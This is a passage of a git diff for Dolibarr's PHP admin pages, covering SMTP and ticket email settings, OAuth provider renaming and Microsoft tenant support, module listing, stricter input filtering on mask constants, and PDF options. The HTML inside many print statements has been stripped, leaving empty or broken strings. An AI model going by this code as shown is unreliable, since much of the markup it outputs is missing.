'edit') { $selectedlang = $obj->lang; } - print $formadmin->select_language($selectedlang, 'langcode', 0, null, 1, 0, 0, 'maxwidth150'); + print $formadmin->select_language($selectedlang, 'langcode', 0, null, 1, 0, 0, 'maxwidth100'); } else { if (!empty($obj->lang)) { print $obj->lang.' - '.$langs->trans('Language_'.$obj->lang); @@ -1356,7 +1339,7 @@ function fieldList($fieldlist, $obj = '', $tabname = '', $context = '') print ''; print $obj->type_template; } else { - print $form->selectarray('type_template', $elementList, (!empty($obj->type_template) ? $obj->type_template:''), 1, 0, 0, '', 0, 0, 0, '', 'minwidth150', 1, '', 0, 1); + print $form->selectarray('type_template', $elementList, (!empty($obj->type_template) ? $obj->type_template:''), 1, 0, 0, '', 0, 0, 0, '', 'minwidth75 maxwidth125', 1, '', 0, 1); } print '
      '; + print '
      '; print $langs->trans("MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike"); print ''; - print $langs->trans("SeeLocalSendMailSetup"); + print ''.$langs->trans("SeeLocalSendMailSetup").''; + print ''; $mainserver = (!empty($conf->global->MAIN_MAIL_SMTP_SERVER_TICKET) ? $conf->global->MAIN_MAIL_SMTP_SERVER_TICKET : ''); $smtpserver = ini_get('SMTP') ?ini_get('SMTP') : $langs->transnoentities("Undefined"); if ($linuxlike) { @@ -333,17 +341,18 @@ if ($action == 'edit') { print ''; // SuperAdministrator access only if (!isModEnabled('multicompany') || ($user->admin && !$user->entity)) { - print ''; + print ''; print ''; - print ''.$langs->trans("SeeLocalSendMailSetup").''; + print ''.$langs->trans("SeeLocalSendMailSetup").''; } else { $text = !empty($mainserver) ? $mainserver : $smtpserver; $htmltext = $langs->trans("ContactSuperAdminForChange"); print $form->textwithpicto($text, $htmltext, 1, 'superadmin'); print ''; } + print '
      '; - print $langs->trans("SeeLocalSendMailSetup"); + print ''.$langs->trans("SeeLocalSendMailSetup").''; } else { $mainport = (!empty($conf->global->MAIN_MAIL_SMTP_PORT_TICKET) ? $conf->global->MAIN_MAIL_SMTP_PORT_TICKET : ''); $smtpport = ini_get('smtp_port') ?ini_get('smtp_port') : $langs->transnoentities("Undefined"); @@ -365,7 +374,7 @@ if ($action == 'edit') { if (!isModEnabled('multicompany') || ($user->admin && !$user->entity)) { print ''; print ''; - print ''.$langs->trans("SeeLocalSendMailSetup").''; + print ''.$langs->trans("SeeLocalSendMailSetup").''; } else { $text = (!empty($mainport) ? $mainport : $smtpport); $htmltext = $langs->trans("ContactSuperAdminForChange"); @@ -375,6 +384,25 @@ if ($action == 'edit') { } print '
      '.$langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE").''; + if (!isModEnabled('multicompany') || ($user->admin && !$user->entity)) { + // Note: Default value for MAIN_MAIL_SMTPS_AUTH_TYPE if not defined is 'LOGIN' (but login/pass may be empty and they won't be provided in such a case) + print ' '; + print ''; + print '            '; + print ' '; + print ''; + } else { + $value = getDolGlobalString('MAIN_MAIL_SMTPS_AUTH_TYPE_TICKET', 'LOGIN'); + $htmltext = $langs->trans("ContactSuperAdminForChange"); + print $form->textwithpicto($langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE"), $htmltext, 1, 'superadmin'); + print ''; + } + print '
      '.$langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE").''; - if (empty($conf->multicompany->enabled) || ($user->admin && !$user->entity)) { - print ' '; - print ''; - print '            '; - print ' '; - print ''; - } else { - $value = getDolGlobalString('MAIN_MAIL_SMTPS_AUTH_TYPE_TICKET', 'LOGIN'); - $htmltext = $langs->trans("ContactSuperAdminForChange"); - print $form->textwithpicto($langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE"), $htmltext, 1, 'superadmin'); - print ''; - } - print '
      '.$langs->trans("MAIN_MAIL_SMTP_PORT", ini_get('smtp_port') ?ini_get('smtp_port') : $langs->transnoentities("Undefined")).''.(!empty($conf->global->MAIN_MAIL_SMTP_PORT_TICKET) ? $conf->global->MAIN_MAIL_SMTP_PORT_TICKET : '').'
      '.$langs->trans("MAIN_MAIL_SMTPS_ID").''.$conf->global->MAIN_MAIL_SMTPS_ID_TICKET.'
      '.$langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE").''.$text.'
      '.$langs->trans("MAIN_MAIL_SMTPS_ID").''.$conf->global->MAIN_MAIL_SMTPS_ID_TICKET.'
      '.$langs->trans("MAIN_MAIL_SMTPS_PW").''.preg_replace('/./', '*', $conf->global->MAIN_MAIL_SMTPS_PW_TICKET).'
      '."\n"; @@ -734,15 +784,17 @@ if ($mode == 'common' || $mode == 'commonkanban') { // Version (with picto warning or not) $version = $objMod->getVersion(0); $versiontrans = ''; + $warningstring = ''; if (preg_match('/development/i', $version)) { - $versiontrans .= img_warning($langs->trans("Development"), '', 'floatleft paddingright'); + $warningstring = $langs->trans("Development"); } if (preg_match('/experimental/i', $version)) { - $versiontrans .= img_warning($langs->trans("Experimental"), '', 'floatleft paddingright'); + $warningstring = $langs->trans("Experimental"); } if (preg_match('/deprecated/i', $version)) { - $versiontrans .= img_warning($langs->trans("Deprecated"), '', 'floatleft paddingright'); + $warningstring = $langs->trans("Deprecated"); } + if ($objMod->isCoreOrExternalModule() == 'external' || preg_match('/development|experimental|deprecated/i', $version)) { $versiontrans .= $objMod->getVersion(1); } @@ -750,9 +802,9 @@ if ($mode == 'common' || $mode == 'commonkanban') { if ($objMod->isCoreOrExternalModule() == 'external' && ( $action == 'checklastversion' - // This is a bad practice to activate a synch external access during building of a page. 1 external module can hang the application. - // Adding a cron job could be a good idea see DolibarrModules::checkForUpdate() - || !empty($conf->global->CHECKLASTVERSION_EXTERNALMODULE) + // This is a bad practice to activate a check on an external access during the building of the admin page. 1 external module can hang the application. + // Adding a cron job could be a good idea: see DolibarrModules::checkForUpdate() + || !empty($conf->global->CHECKLASTVERSION_EXTERNALMODULE) ) ) { $checkRes = $objMod->checkForUpdate(); @@ -800,12 +852,24 @@ if ($mode == 'common' || $mode == 'commonkanban') { } else { if (!empty($objMod->warnings_unactivation[$mysoc->country_code]) && method_exists($objMod, 'alreadyUsed') && $objMod->alreadyUsed()) { $codeenabledisable .= 'warnings_unactivation[$mysoc->country_code]).'&value='.$modName.'&mode='.$mode.$param.'">'; - $codeenabledisable .= img_picto($langs->trans("Activated"), 'switch_on'); + $codeenabledisable .= img_picto($langs->trans("Activated").($warningstring ? ' '.$warningstring : ''), 'switch_on'); $codeenabledisable .= ''; + if (getDolGlobalInt("MAIN_FEATURES_LEVEL") > 1) { + $codeenabledisable .= ' '; + $codeenabledisable .= ''; + $codeenabledisable .= img_picto($langs->trans("Reload"), 'refresh', 'class="opacitymedium"'); + $codeenabledisable .= ''; + } } else { $codeenabledisable .= ''; - $codeenabledisable .= img_picto($langs->trans("Activated"), 'switch_on'); + $codeenabledisable .= img_picto($langs->trans("Activated").($warningstring ? ' '.$warningstring : ''), 'switch_on'); $codeenabledisable .= ''; + if (getDolGlobalInt("MAIN_FEATURES_LEVEL") > 1) { + $codeenabledisable .= ' '; + $codeenabledisable .= ''; + $codeenabledisable .= img_picto($langs->trans("Reload"), 'refresh', 'class="opacitymedium"'); + $codeenabledisable .= ''; + } } } @@ -844,10 +908,10 @@ if ($mode == 'common' || $mode == 'commonkanban') { } } } - } elseif (preg_match('/^([^@]+)@([^@]+)$/i', $objMod->config_page_url, $regs)) { + } elseif (preg_match('/^([^@]+)@([^@]+)$/i', (string) $objMod->config_page_url, $regs)) { $codetoconfig .= ''.img_picto($langs->trans("Setup"), "setup", 'style="padding-right: 6px"', false, 0, 0, '', 'fa-15').''; } else { - $codetoconfig .= ''.img_picto($langs->trans("Setup"), "setup", 'style="padding-right: 6px"', false, 0, 0, '', 'fa-15').''; + $codetoconfig .= ''.img_picto($langs->trans("Setup"), "setup", 'style="padding-right: 6px"', false, 0, 0, '', 'fa-15').''; } } else { $codetoconfig .= img_picto($langs->trans("NothingToSetup"), "setup", 'class="opacitytransp" style="padding-right: 6px"', false, 0, 0, '', 'fa-15'); @@ -907,13 +971,13 @@ if ($mode == 'common' || $mode == 'commonkanban') { // Output Kanban print $objMod->getKanbanView($codeenabledisable, $codetoconfig); } else { - print ''."\n"; + print ''."\n"; if (!empty($conf->global->MAIN_MODULES_SHOW_LINENUMBERS)) { print ''; } // Picto + Name of module - print ' '; // Version - print '\n"; // Link enable/disable - print '\n"; @@ -1041,7 +1105,7 @@ if ($mode == 'marketplace') { print '
      '; - print '
      '; + print ''; ?> @@ -1075,7 +1139,7 @@ if ($mode == 'marketplace') {
      '.$linenum.''; + print ' '; $alttext = ''; //if (is_array($objMod->need_dolibarr_version)) $alttext.=($alttext?' - ':'').'Dolibarr >= '.join('.',$objMod->need_dolibarr_version); //if (is_array($objMod->phpmin)) $alttext.=($alttext?' - ':'').'PHP >= '.join('.',$objMod->phpmin); @@ -941,7 +1005,7 @@ if ($mode == 'common' || $mode == 'commonkanban') { print ''; + print ''; if ($objMod->needUpdate) { $versionTitle = $langs->trans('ModuleUpdateAvailable').' : '.$objMod->lastVersion; print ''.$versiontrans.''; @@ -951,7 +1015,7 @@ if ($mode == 'common' || $mode == 'commonkanban') { print "'; + print ''; print $codeenabledisable; print "
      - get_products(!empty($categorie) ? $categorie: ''); ?> + get_products(); ?>
      @@ -1118,7 +1182,17 @@ if ($mode == 'deploy') { } } } else { - $message = info_admin($langs->trans("InstallModuleFromWebHasBeenDisabledByFile", $dolibarrdataroot.'/installmodules.lock')); + if (getDolGlobalString('MAIN_MESSAGE_INSTALL_MODULES_DISABLED_CONTACT_US')) { + // Show clean message + if (!is_numeric('MAIN_MESSAGE_INSTALL_MODULES_DISABLED_CONTACT_US')) { + $message = info_admin($langs->trans(getDolGlobalString('MAIN_MESSAGE_INSTALL_MODULES_DISABLED_CONTACT_US'))); + } else { + $message = info_admin($langs->trans('InstallModuleFromWebHasBeenDisabledContactUs')); + } + } else { + // Show technical message + $message = info_admin($langs->trans("InstallModuleFromWebHasBeenDisabledByFile", $dolibarrdataroot.'/installmodules.lock')); + } $allowfromweb = 0; } @@ -1210,10 +1284,10 @@ if ($mode == 'deploy') { print ''."\n"; diff --git a/htdocs/admin/mrp.php b/htdocs/admin/mrp.php index 36a82e965f4..21fff1c45e6 100644 --- a/htdocs/admin/mrp.php +++ b/htdocs/admin/mrp.php @@ -52,10 +52,10 @@ $type = 'mrp'; include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconstmrp = GETPOST('maskconstMo', 'alpha'); + $maskconstmrp = GETPOST('maskconstMo', 'aZ09'); $maskmrp = GETPOST('maskMo', 'alpha'); - if ($maskconstmrp) { + if ($maskconstmrp && preg_match('/_MASK$/', $maskconstmrp)) { $res = dolibarr_set_const($db, $maskconstmrp, $maskmrp, 'chaine', 0, '', $conf->entity); } diff --git a/htdocs/admin/multicurrency.php b/htdocs/admin/multicurrency.php index 1cf838c08cb..5945ebfb5d5 100644 --- a/htdocs/admin/multicurrency.php +++ b/htdocs/admin/multicurrency.php @@ -134,7 +134,8 @@ if ($action == 'add_currency') { dolibarr_set_const($db, 'MULTICURRENCY_APP_SOURCE', GETPOST('MULTICURRENCY_APP_SOURCE', 'alpha')); //dolibarr_set_const($db, 'MULTICURRENCY_ALTERNATE_SOURCE', GETPOST('MULTICURRENCY_ALTERNATE_SOURCE', 'alpha')); } else { - $result = MultiCurrency::syncRates($conf->global->MULTICURRENCY_APP_ID); + $multiurrency = new MultiCurrency($db); + $result = $multiurrency->syncRates(getDolGlobalString('MULTICURRENCY_APP_ID')); if ($result > 0) { setEventMessages($langs->trans("CurrencyRateSyncSucceed"), null, "mesgs"); } diff --git a/htdocs/admin/notification.php b/htdocs/admin/notification.php index d3ad20f68b7..965a1c8a117 100644 --- a/htdocs/admin/notification.php +++ b/htdocs/admin/notification.php @@ -427,11 +427,13 @@ foreach ($listofnotifiedevents as $notifiedevent) { } elseif ($notifiedevent['elementtype'] == 'expensereport' || $notifiedevent['elementtype'] == 'expense_report') { $elementPicto = 'expensereport'; $elementLabel = $langs->trans('ExpenseReport'); + } elseif ($notifiedevent['elementtype'] == 'agenda') { + $elementPicto = 'action'; } $labelfortrigger = 'AmountHT'; $codehasnotrigger = 0; - if (preg_match('/^HOLIDAY/', $notifiedevent['code'])) { + if (preg_match('/^(ACTION|HOLIDAY)/', $notifiedevent['code'])) { $codehasnotrigger++; } diff --git a/htdocs/admin/oauth.php b/htdocs/admin/oauth.php index 6bf59508d11..8c10988bcff 100644 --- a/htdocs/admin/oauth.php +++ b/htdocs/admin/oauth.php @@ -48,6 +48,8 @@ $action = GETPOST('action', 'aZ09'); $provider = GETPOST('provider', 'aZ09'); $label = GETPOST('label', 'aZ09'); +$servicetoeditname = GETPOST('servicetoeditname', 'aZ09'); + $error = 0; @@ -72,15 +74,29 @@ if ($action == 'update') { foreach ($conf->global as $key => $val) { if (!empty($val) && preg_match('/^OAUTH_.+_ID$/', $key)) { $constvalue = str_replace('_ID', '', $key); - if (!dolibarr_set_const($db, $constvalue.'_ID', GETPOST($constvalue.'_ID'), 'chaine', 0, '', $conf->entity)) { - $error++; + $newconstvalue = $constvalue; + if (GETPOSTISSET($constvalue.'_NAME')) { + $newconstvalue = preg_replace('/-.*$/', '', $constvalue).'-'.GETPOST($constvalue.'_NAME'); + } + + if (GETPOSTISSET($constvalue.'_ID')) { + if (!dolibarr_set_const($db, $newconstvalue.'_ID', GETPOST($constvalue.'_ID'), 'chaine', 0, '', $conf->entity)) { + $error++; + } } // If we reset this provider, we also remove the secret - if (!dolibarr_set_const($db, $constvalue.'_SECRET', GETPOST($constvalue.'_ID') ? GETPOST($constvalue.'_SECRET') : '', 'chaine', 0, '', $conf->entity)) { - $error++; + if (GETPOSTISSET($constvalue.'_SECRET')) { + if (!dolibarr_set_const($db, $newconstvalue.'_SECRET', GETPOST($constvalue.'_ID') ? GETPOST($constvalue.'_SECRET') : '', 'chaine', 0, '', $conf->entity)) { + $error++; + } } if (GETPOSTISSET($constvalue.'_URLAUTHORIZE')) { - if (!dolibarr_set_const($db, $constvalue.'_URLAUTHORIZE', GETPOST($constvalue.'_URLAUTHORIZE'), 'chaine', 0, '', $conf->entity)) { + if (!dolibarr_set_const($db, $newconstvalue.'_URLAUTHORIZE', GETPOST($constvalue.'_URLAUTHORIZE'), 'chaine', 0, '', $conf->entity)) { + $error++; + } + } + if (GETPOSTISSET($constvalue.'_TENANT')) { + if (!dolibarr_set_const($db, $constvalue.'_TENANT', GETPOST($constvalue.'_TENANT'), 'chaine', 0, '', $conf->entity)) { $error++; } } @@ -90,14 +106,46 @@ if ($action == 'update') { } else { $scopestring = GETPOST($constvalue.'_SCOPE'); } - if (!dolibarr_set_const($db, $constvalue.'_SCOPE', $scopestring, 'chaine', 0, '', $conf->entity)) { + if (!dolibarr_set_const($db, $newconstvalue.'_SCOPE', $scopestring, 'chaine', 0, '', $conf->entity)) { $error++; } - } else { - if (!dolibarr_set_const($db, $constvalue.'_SCOPE', '', 'chaine', 0, '', $conf->entity)) { + } elseif ($newconstvalue !== $constvalue) { + if (!dolibarr_set_const($db, $newconstvalue.'_SCOPE', '', 'chaine', 0, '', $conf->entity)) { $error++; } } + + // If name changed, we have to delete old const and proceed few other changes + if ($constvalue !== $newconstvalue) { + dolibarr_del_const($db, $constvalue.'_ID', $conf->entity); + dolibarr_del_const($db, $constvalue.'_SECRET', $conf->entity); + dolibarr_del_const($db, $constvalue.'_URLAUTHORIZE', $conf->entity); + dolibarr_del_const($db, $constvalue.'_SCOPE', $conf->entity); + + // Update name of token + $oldname = preg_replace('/^OAUTH_/', '', $constvalue); + $oldprovider = ucfirst(strtolower(preg_replace('/-.*$/', '', $oldname))); + $oldlabel = preg_replace('/^.*-/', '', $oldname); + $newlabel = preg_replace('/^.*-/', '', $newconstvalue); + + + $sql = "UPDATE ".MAIN_DB_PREFIX."oauth_token"; + $sql.= " SET service = '".$db->escape($oldprovider."-".$newlabel)."'"; + $sql.= " WHERE service = '".$db->escape($oldprovider."-".$oldlabel)."'"; + + + $resql = $db->query($sql); + if (!$resql) { + $error++; + } + + // Update const where the token was used, might not be exhaustive + if (getDolGlobalString('MAIN_MAIL_SMTPS_OAUTH_SERVICE') == $oldname) { + if (!dolibarr_set_const($db, 'MAIN_MAIL_SMTPS_OAUTH_SERVICE', strtoupper($oldprovider).'-'.$newlabel, 'chaine', 0, '', $conf->entity)) { + $error++; + } + } + } } } @@ -128,6 +176,8 @@ if ($action == 'confirm_delete') { $callbacktodel .= '/core/modules/oauth/stripelive_oauthcallback.php?action=delete&keyforprovider='.$provider.'&token='.newToken().'&backtourl='.urlencode($backtourl); } elseif ($label == 'OAUTH_STRIPE_TEST') { $callbacktodel .= '/core/modules/oauth/stripetest_oauthcallback.php?action=delete&keyforprovider='.$provider.'&token='.newToken().'&backtourl='.urlencode($backtourl); + } elseif ($label == 'OAUTH_MICROSOFT') { + $callbacktodel .= '/core/modules/oauth/microsoft_oauthcallback.php?action=delete&keyforprovider='.$provider.'&token='.newToken().'&backtourl='.urlencode($backtourl); } elseif ($label == 'OAUTH_OTHER') { $callbacktodel .= '/core/modules/oauth/generic_oauthcallback.php?action=delete&keyforprovider='.$provider.'&token='.newToken().'&backtourl='.urlencode($backtourl); } @@ -210,7 +260,7 @@ print dol_get_fiche_end(); print ''; - +$listinsetup = []; // Define $listinsetup foreach ($conf->global as $key => $val) { if (!empty($val) && preg_match('/^OAUTH_.*_ID$/', $key)) { @@ -242,8 +292,10 @@ if (count($listinsetup) > 0) { $keyforsupportedoauth2array = preg_replace('/^OAUTH_/', '', $keyforsupportedoauth2array); $keyforsupportedoauth2array = preg_replace('/_NAME$/', '', $keyforsupportedoauth2array); if (preg_match('/^.*-/', $keyforsupportedoauth2array)) { + $keybeforeprovider = preg_replace('/-.*$/', '', $keyforsupportedoauth2array); $keyforprovider = preg_replace('/^.*-/', '', $keyforsupportedoauth2array); } else { + $keybeforeprovider = $keyforsupportedoauth2array; $keyforprovider = ''; } $keyforsupportedoauth2array = preg_replace('/-.*$/', '', $keyforsupportedoauth2array); @@ -270,11 +322,16 @@ if (count($listinsetup) > 0) { } else { print $label; } - if ($keyforprovider) { + if ($servicetoeditname == $key[0]) { + print ' ()'; + } elseif ($keyforprovider) { print ' ('.$keyforprovider.')'; } else { print ' ('.$langs->trans("NoName").')'; } + if (!($servicetoeditname == $key[0])) { + print ''.img_edit($langs->transnoentitiesnoconv('Edit'), 1).''; + } print ''; print ''; if (!empty($supportedoauth2array[$keyforsupportedoauth2array]['urlforcredentials'])) { @@ -285,7 +342,7 @@ if (count($listinsetup) > 0) { // Delete print ''; $label = preg_replace('/_NAME$/', '', $keyforsupportedoauth2array); - print ''; + print ''; print img_picto('', 'delete'); print ''; @@ -298,7 +355,8 @@ if (count($listinsetup) > 0) { $redirect_uri = $urlwithroot.'/core/modules/oauth/'.$supportedoauth2array[$keyforsupportedoauth2array]['callbackfile'].'_oauthcallback.php'; print ''; print ''.$langs->trans("UseTheFollowingUrlAsRedirectURI").''; - print ''; + print ''; + print ajax_autoselect('uri'.$keyforsupportedoauth2array.$keyforprovider); print ''; print ''; print ''; @@ -306,7 +364,7 @@ if (count($listinsetup) > 0) { if ($keyforsupportedoauth2array == 'OAUTH_OTHER_NAME') { print ''; print ''.$langs->trans("URLOfServiceForAuthorization").''; - print ''; + print ''; print ''; print ''; print ''; @@ -336,6 +394,16 @@ if (count($listinsetup) > 0) { print ''; print ''; + // Tenant + if ($keybeforeprovider == 'MICROSOFT') { + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + } + // TODO Move this into token generation ? if ($supported) { if ($keyforsupportedoauth2array == 'OAUTH_OTHER_NAME') { @@ -385,7 +453,7 @@ if (count($listinsetup) > 0) { print ''; - print $form->buttonsSaveCancel("Modify", ''); + print $form->buttonsSaveCancel("Save", ''); print ''; } diff --git a/htdocs/admin/oauthlogintokens.php b/htdocs/admin/oauthlogintokens.php index f798995d525..5c0ecdb007d 100644 --- a/htdocs/admin/oauthlogintokens.php +++ b/htdocs/admin/oauthlogintokens.php @@ -162,8 +162,10 @@ if ($mode == 'setup' && $user->admin) { $keyforsupportedoauth2array = preg_replace('/^OAUTH_/', '', $keyforsupportedoauth2array); $keyforsupportedoauth2array = preg_replace('/_NAME$/', '', $keyforsupportedoauth2array); if (preg_match('/^.*-/', $keyforsupportedoauth2array)) { + $keybeforeprovider = preg_replace('/-.*$/', '', $keyforsupportedoauth2array); $keyforprovider = preg_replace('/^.*-/', '', $keyforsupportedoauth2array); } else { + $keybeforeprovider = $keyforsupportedoauth2array; $keyforprovider = ''; } $keyforsupportedoauth2array = preg_replace('/-.*$/', '', $keyforsupportedoauth2array); @@ -179,13 +181,12 @@ if ($mode == 'setup' && $user->admin) { $state = $shortscope; // TODO USe a better state // Define $urltorenew, $urltodelete, $urltocheckperms - // TODO Use array $supportedoauth2array if ($keyforsupportedoauth2array == 'OAUTH_GITHUB_NAME') { // List of keys that will be converted into scopes (from constants 'SCOPE_state_in_uppercase' in file of service). // We pass this param list in to 'state' because we need it before and after the redirect. // Note: github does not accept csrf key inside the state parameter (only known values) - $urltorenew = $urlwithroot.'/core/modules/oauth/github_oauthcallback.php?shortscope='.urlencode($shortscope).'&state='.$shortscope.'&backtourl='.urlencode(DOL_URL_ROOT.'/admin/oauthlogintokens.php'); + $urltorenew = $urlwithroot.'/core/modules/oauth/github_oauthcallback.php?shortscope='.urlencode($shortscope).'&state='.urlencode($shortscope).'&backtourl='.urlencode(DOL_URL_ROOT.'/admin/oauthlogintokens.php'); $urltodelete = $urlwithroot.'/core/modules/oauth/github_oauthcallback.php?action=delete&token='.newToken().'&backtourl='.urlencode(DOL_URL_ROOT.'/admin/oauthlogintokens.php'); $urltocheckperms = 'https://github.com/settings/applications/'; } elseif ($keyforsupportedoauth2array == 'OAUTH_GOOGLE_NAME') { @@ -195,17 +196,9 @@ if ($mode == 'setup' && $user->admin) { $urltorenew = $urlwithroot.'/core/modules/oauth/google_oauthcallback.php?shortscope='.urlencode($shortscope).'&state='.urlencode($state).'-'.$oauthstateanticsrf.'&backtourl='.urlencode(DOL_URL_ROOT.'/admin/oauthlogintokens.php'); $urltodelete = $urlwithroot.'/core/modules/oauth/google_oauthcallback.php?action=delete&token='.newToken().'&backtourl='.urlencode(DOL_URL_ROOT.'/admin/oauthlogintokens.php'); $urltocheckperms = 'https://security.google.com/settings/security/permissions'; - } elseif ($keyforsupportedoauth2array == 'OAUTH_STRIPE_TEST_NAME') { - $urltorenew = $urlwithroot.'/core/modules/oauth/stripetest_oauthcallback.php?shortscope='.urlencode($shortscope).'&state='.urlencode($state).'&backtourl='.urlencode(DOL_URL_ROOT.'/admin/oauthlogintokens.php'); - $urltodelete = ''; - $urltocheckperms = ''; - } elseif ($keyforsupportedoauth2array == 'OAUTH_STRIPE_LIVE_NAME') { - $urltorenew = $urlwithroot.'/core/modules/oauth/stripelive_oauthcallback.php?shortscope='.urlencode($shortscope).'&state='.urlencode($state).'&backtourl='.urlencode(DOL_URL_ROOT.'/admin/oauthlogintokens.php'); - $urltodelete = ''; - $urltocheckperms = ''; - } elseif ($keyforsupportedoauth2array = 'OAUTH_OTHER_NAME') { - $urltorenew = $urlwithroot.'/core/modules/oauth/generic_oauthcallback.php?shortscope='.urlencode($shortscope).'&state='.urlencode($state).'&backtourl='.urlencode(DOL_URL_ROOT.'/admin/oauthlogintokens.php'); - $urltodelete = ''; + } elseif (!empty($supportedoauth2array[$keyforsupportedoauth2array]['returnurl'])) { + $urltorenew = $urlwithroot.$supportedoauth2array[$keyforsupportedoauth2array]['returnurl'].'?shortscope='.urlencode($shortscope).'&state='.urlencode($state).'&backtourl='.urlencode(DOL_URL_ROOT.'/admin/oauthlogintokens.php'); + $urltodelete = $urlwithroot.$supportedoauth2array[$keyforsupportedoauth2array]['returnurl'].'?action=delete&token='.newToken().'&backtourl='.urlencode(DOL_URL_ROOT.'/admin/oauthlogintokens.php'); $urltocheckperms = ''; } else { $urltorenew = ''; @@ -213,18 +206,29 @@ if ($mode == 'setup' && $user->admin) { $urltocheckperms = ''; } - $urltorenew .= '&keyforprovider='.urlencode($keyforprovider); + if ($urltorenew) { + $urltorenew .= '&keyforprovider='.urlencode($keyforprovider); + } + if ($urltodelete) { + $urltodelete .= '&keyforprovider='.urlencode($keyforprovider); + } // Show value of token $tokenobj = null; // Token require_once DOL_DOCUMENT_ROOT.'/includes/OAuth/bootstrap.php'; // Dolibarr storage - $storage = new DoliStorage($db, $conf); + $storage = new DoliStorage($db, $conf, $keyforprovider); try { + // $OAUTH_SERVICENAME is for example 'Google-keyforprovider' + print ''."\n"; $tokenobj = $storage->retrieveAccessToken($OAUTH_SERVICENAME); + //print $storage->token.'
      '; + //print $tokenobj->getExtraParams()['id_token'].'
      '; + //print $tokenobj->getAccessToken().'
      '; } catch (Exception $e) { // Return an error if token not found + //print $e->getMessage(); } // Set other properties @@ -315,7 +319,11 @@ if ($mode == 'setup' && $user->admin) { // Links to delete/checks token if (is_object($tokenobj)) { //test on $storage->hasAccessToken($OAUTH_SERVICENAME) ? - print ''.$langs->trans('DeleteAccess').'
      '; + if ($urltodelete) { + print ''.$langs->trans('DeleteAccess').'
      '; + } else { + print ''.$langs->trans('GoOnTokenProviderToDeleteToken').'
      '; + } } // Request remote token if ($urltorenew) { @@ -337,7 +345,6 @@ if ($mode == 'setup' && $user->admin) { print ''; if (is_object($tokenobj)) { - //var_dump($tokenobj); $tokentoshow = $tokenobj->getAccessToken(); print ''.showValueWithClipboardCPButton($tokentoshow, 1, dol_trunc($tokentoshow, 32)).'
      '; //print 'Refresh: '.$tokenobj->getRefreshToken().'
      '; diff --git a/htdocs/admin/payment.php b/htdocs/admin/payment.php index 59da712b266..5e06ba4011f 100644 --- a/htdocs/admin/payment.php +++ b/htdocs/admin/payment.php @@ -51,9 +51,9 @@ if (empty($conf->global->PAYMENT_ADDON)) { */ if ($action == 'updateMask') { - $maskconstpayment = GETPOST('maskconstpayment', 'alpha'); + $maskconstpayment = GETPOST('maskconstpayment', 'aZ09'); $maskpayment = GETPOST('maskpayment', 'alpha'); - if ($maskconstpayment) { + if ($maskconstpayment && preg_match('/_MASK$/', $maskconstpayment)) { $res = dolibarr_set_const($db, $maskconstpayment, $maskpayment, 'chaine', 0, '', $conf->entity); } @@ -190,7 +190,7 @@ foreach ($dirmodels as $reldir) { if ($conf->global->PAYMENT_ADDON == $file || $conf->global->PAYMENT_ADDON.'.php' == $file) { print img_picto($langs->trans("Activated"), 'switch_on'); } else { - print ''.img_picto($langs->trans("Disabled"), 'switch_off').''; + print ''.img_picto($langs->trans("Disabled"), 'switch_off').''; } print ''; @@ -257,7 +257,7 @@ print "\n"; print ''; print $langs->trans("PaymentOnDifferentThirdBills"); print ''; -print $form->selectyesno("FACTURE_PAYMENTS_ON_DIFFERENT_THIRDPARTIES_BILLS", $conf->global->FACTURE_PAYMENTS_ON_DIFFERENT_THIRDPARTIES_BILLS, 1); +print $form->selectyesno("FACTURE_PAYMENTS_ON_DIFFERENT_THIRDPARTIES_BILLS", getDolGlobalInt('FACTURE_PAYMENTS_ON_DIFFERENT_THIRDPARTIES_BILLS'), 1); print ''; print "\n"; @@ -265,7 +265,7 @@ print "\n"; print ''; print $langs->trans("GroupPaymentsByModOnReports"); print ''; -print $form->selectyesno("PAYMENTS_REPORT_GROUP_BY_MOD", $conf->global->PAYMENTS_REPORT_GROUP_BY_MOD, 1); +print $form->selectyesno("PAYMENTS_REPORT_GROUP_BY_MOD", getDolGlobalInt('PAYMENTS_REPORT_GROUP_BY_MOD'), 1); print ''; print "\n"; diff --git a/htdocs/admin/pdf.php b/htdocs/admin/pdf.php index d59e2279435..f1eb8ed1e15 100644 --- a/htdocs/admin/pdf.php +++ b/htdocs/admin/pdf.php @@ -1,6 +1,6 @@ - * Copyright (C) 2004-2012 Laurent Destailleur + * Copyright (C) 2004-2022 Laurent Destailleur * Copyright (C) 2005-2011 Regis Houssin * Copyright (C) 2012-2107 Juanjo Menent * Copyright (C) 2019 Ferran Marcet @@ -35,7 +35,7 @@ require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/pdf.lib.php'; // Load translation files required by the page -$langs->loadLangs(array('admin', 'languages', 'other', 'companies', 'products', 'members', 'stocks', 'Trips')); +$langs->loadLangs(array('admin', 'companies', 'languages', 'members', 'other', 'products', 'stocks', 'trips')); if (!$user->admin) { accessforbidden(); @@ -174,7 +174,6 @@ if ($action == 'update') { if (GETPOSTISSET('PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME')) { dolibarr_set_const($db, "PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME", GETPOST('PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME', 'alpha'), 'chaine', 0, '', $conf->entity); } - if (GETPOSTISSET('PDF_USE_A')) { dolibarr_set_const($db, "PDF_USE_A", GETPOST('PDF_USE_A', 'alpha'), 'chaine', 0, '', $conf->entity); } @@ -272,12 +271,22 @@ print ''; clearstatcache(); +if (getDolGlobalString('PDF_SECURITY_ENCRYPTION')) { + print '
      '; + print 'The not supported and hidden option PDF_SECURITY_ENCRYPTION has been enabled. This means a lof of feature related to PDF will be broken, like mass PDF generation or online signature of PDF.'."\n"; + print 'You should disable this option.'; + print '
      '; +} + + + // Misc options print load_fiche_titre($langs->trans("DictionaryPaperFormat"), '', ''); + print '
      '; print ''; -print ''; +print ''; $selected = (isset($conf->global->MAIN_PDF_FORMAT) ? $conf->global->MAIN_PDF_FORMAT : ''); if (empty($selected)) { @@ -314,7 +323,7 @@ print load_fiche_titre($langs->trans("PDFAddressForging"), '', ''); print '
